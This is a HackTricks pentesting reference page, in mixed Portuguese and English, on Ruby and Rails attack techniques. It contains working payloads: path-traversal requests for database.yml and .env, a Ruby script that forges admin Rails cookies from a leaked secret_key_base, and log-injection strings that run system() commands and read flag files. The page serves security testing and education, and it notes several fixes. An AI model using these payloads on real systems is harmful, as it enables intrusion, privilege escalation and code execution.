Ruby Tricks
Reading time: 9 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
File upload to RCE
As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.
Dicas:
- Outros locais de boot/eager-load que são executados na inicialização da app também são arriscados quando graváveis (por exemplo, 
config/initializers/é o clássico). Se você encontrar um upload de arquivo arbitrário que caia em qualquer lugar sobconfig/e seja posteriormente avaliado/required, você pode obter RCE na inicialização. - Procure dev/staging builds que copiem arquivos controlados pelo usuário para a imagem do container onde Rails irá carregá-los no boot.
 
Active Storage image transformation → command execution (CVE-2025-24293)
When an application uses Active Storage with image_processing + mini_magick, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
- A vulnerable pattern looks like:
 
<%= image_tag blob.variant(params[:t] => params[:v]) %>
where params[:t] and/or params[:v] are attacker-controlled.
- 
What to try during testing
 - 
Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
 - 
Fuzz
params[:t]andparams[:v]for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host. - 
If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
 - 
Remediation/detections
 - 
If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage +
image_processing+mini_magickand user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy. 
Rack::Static LFI / path traversal (CVE-2025-27610)
If the target stack uses Rack middleware directly or via frameworks, versions of rack prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static when :root is unset/misconfigured. Encoded traversal in PATH_INFO can expose files under the process working directory or an unexpected root.
- Procure apps that mount 
Rack::Staticinconfig.ruor middleware stacks. Try encoded traversals against static paths, for example: 
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Adjust the prefix to match configured urls:. If the app responds with file contents, you likely have LFI to anything under the resolved :root.
- Mitigation: upgrade Rack; ensure 
:rootonly points to a directory of public files and is explicitly set. 
Forging/decrypting Rails cookies when secret_key_base is leaked
Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
Ruby mínimo para descriptografar e recriptografar cookies modernos (AES-256-GCM, default in recent Rails):
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
Notas:
- Apps mais antigos podem usar AES-256-CBC e salts 
encrypted cookie/signed encrypted cookie, ou serializadores JSON/Marshal. Ajuste salts, cipher e serializer conforme necessário. - Em caso de comprometimento/avaliação, rotacione 
secret_key_basepara invalidar todos os cookies existentes. 
Veja também (vulnerabilidades específicas de Ruby/Rails)
- Ruby deserialization and class pollution: Deserialization Ruby Class Pollution Ruby Json Pollution
 - Template injection in Ruby engines (ERB/Haml/Slim, etc.): SSTI (Server Side Template Injection)
 
Log Injection → RCE via Ruby load and Pathname.cleanpath smuggling
When an app (often a simple Rack/Sinatra/Rails endpoint) both:
- logs a user-controlled string verbatim, and
 - later 
loads a file whose path is derived from that same string (afterPathname#cleanpath), 
You can often achieve remote code execution by poisoning the log and then coercing the app to load the log file. Key primitives:
- Ruby 
loadevaluates the target file content as Ruby regardless of file extension. Any readable text file whose contents parse as Ruby will be executed. Pathname#cleanpathcollapses.and..segments without hitting the filesystem, enabling path smuggling: attacker-controlled junk can be prepended for logging while the cleaned path still resolves to the intended file to execute (e.g.,../logs/error.log).
Minimal vulnerable pattern
require 'logger'
require 'pathname'
logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath
Por que o log pode conter código Ruby válido
Logger escreve linhas de prefixo como:
I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>
In Ruby, # inicia um comentário e 9/2/2025 é apenas aritmética. Para injetar código Ruby válido você precisa:
- Comece seu payload em uma nova linha para que não seja comentado pelo 
#na linha INFO; envie uma nova linha inicial (\nou%0A). - Feche o 
[pendente introduzido pela linha INFO. Um truque comum é começar com]e opcionalmente deixar o parser satisfeito com][0]=1. - Em seguida, coloque Ruby arbitrário (por exemplo, 
system(...)). 
Exemplo do que terminará no log após uma requisição com um parâmetro forjado:
I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
Smuggling a single string that both logs code and resolves to the log path
Queremos uma única attacker-controlled string que:
- quando registrada raw, contém nosso Ruby payload, e
 - quando passada por 
Pathname.new(<input>).cleanpath, resolve para../logs/error.log, de modo que o subsequenteloadexecute o arquivo de log recém-poisoned. 
Pathname#cleanpath ignora schemes e colapsa traversal components, então o seguinte funciona:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
- O 
#antes de://faz com que Ruby ignore o restante quando o log é executado, enquantocleanpathainda reduz o sufixo para../logs/error.log. - A nova linha inicial sai da linha INFO; 
]fecha o colchete pendente;][0]=1satisfaz o parser. 
Exploração ponta a ponta
- Envie o seguinte como nome do script de backup (codifique em URL a primeira nova linha como 
%0A, se necessário): 
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- A aplicação registra sua string bruta em 
logs/error.log. - A aplicação calcula 
cleanpath, que resolve para../logs/error.log, e chamaloadnele. - Ruby executa o código que você injetou no log.
 
Para exfiltrar um arquivo em um ambiente do tipo CTF:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
PoC codificado em URL (o primeiro caractere é uma nova linha):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
Referências
- Anúncio de Segurança do Rails: CVE-2025-24293 — métodos de transformação inseguros do Active Storage (corrigido em 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
 - Aviso do GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
 - Hardware Monitor Dojo-CTF #44: Log Injection para Ruby RCE (YesWeHack Dojo)
 - Ruby Pathname.cleanpath documentação
 - Ruby Logger
 - Como o load do Ruby funciona
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks